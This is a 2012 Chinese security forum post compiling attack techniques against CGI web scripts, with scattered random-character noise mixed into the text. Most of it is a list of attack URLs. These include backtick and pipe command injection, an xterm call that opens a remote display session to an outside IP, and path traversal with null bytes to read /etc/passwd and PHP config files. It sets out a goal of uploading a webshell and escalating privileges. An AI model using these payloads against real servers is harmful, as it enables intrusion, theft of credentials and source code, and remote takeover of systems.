找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2741|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
) l0 h4 n; F; S+ J& lcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
, A, ]8 D* D4 e# D$ W6 z. M. J, u- J感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ' P' R3 \, ~/ M! H* @, g3 t! k
注“  
& _* [+ s! x8 X! sperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
9 U) [) e% p: L# N$ B0 x: l8 E4 ]0 |以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
0 I: U; G* h, @( B, _  M$ Q
  A% T& ~& n- C) x6 Dhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
% L# c7 V9 V' J+ qhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  5 @# m  Q7 g! Q) G: i6 ?! d
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
; F5 V2 O9 t1 ~2 `http://target.com/cgi-bin/home/news/sub.pl?`id`  
2 z( k2 ~, _$ S. O/ Lhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  # Q& j; u0 f: t/ F* k5 r
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  - }2 Y& Y. ^8 ]! a5 r8 v
- ?& S% L, R6 w5 F0 R
http://target.com/test.pl;ls|  ( _: O- u5 W( ?; T$ P1 i) b
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
. {9 o  f. j7 E0 r! d) G8 x+ j8 i8 q1 zhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  + r# P3 L, p- ?# [2 S7 G: O
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  : ?0 {  W9 P$ g
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
1 V2 z% H; y  U& ?http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
$ S! g+ O8 K( X; l) {, K, b/ I! r3 q5 U! E
http://target.com/test.pl?&........ /../../etc/passwd  
- n, V+ ]0 B( K& D# @5 K7 t- @) j3 Y( t5 k7 `6 R+ Q3 A- L- M
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
: }5 V# F5 g: H" g1 lhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  4 `- ?. A4 Y2 e- s  x; g$ Y( g
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
. Q$ w+ G: N/ H. I3 l& H
- }3 m; R! B4 [) v( s( Rhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  0 z# \/ E% Q! q) G
http://www.target.org/show.php?f ... ng/admin/global.php  
( w; [. A4 q5 c) w
9 m! _. s9 }+ h7 z+ _emm和ps的一句话9 b8 Y' x+ S8 A1 l

6 r+ p, x& l; f$ e7 ]" g/ vhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  * f( G1 Q2 \& `- _1 Q" E

' y; o# w3 C; B# U' \0 X; X' Q>bbb%20|  
/ ]* Y$ c) c& K, j" L! {& m' X  ]3 N& q3 u# G2 L% m
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
: c% ~2 i/ {4 N7 \$ u: U3 ^5 P6 l1 p' l) N5 ~9 x! ?5 ]
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
4 n# M# w; S6 l4 B3 x8 }http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
, I7 `" j7 ~" X- Z8 q( W& S' A" M7 u
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  7 T" K* _# g) x3 }" @
http://target.com/index.html#cmd.exe  
, e, a2 t2 B" q& ~3 Dhttp://target.com/index.html?dummyparam=xp_cmdshell  
8 i; s9 m+ L7 i0 S; wlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ( h) H* n$ |; H1 T5 O- K( z. K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表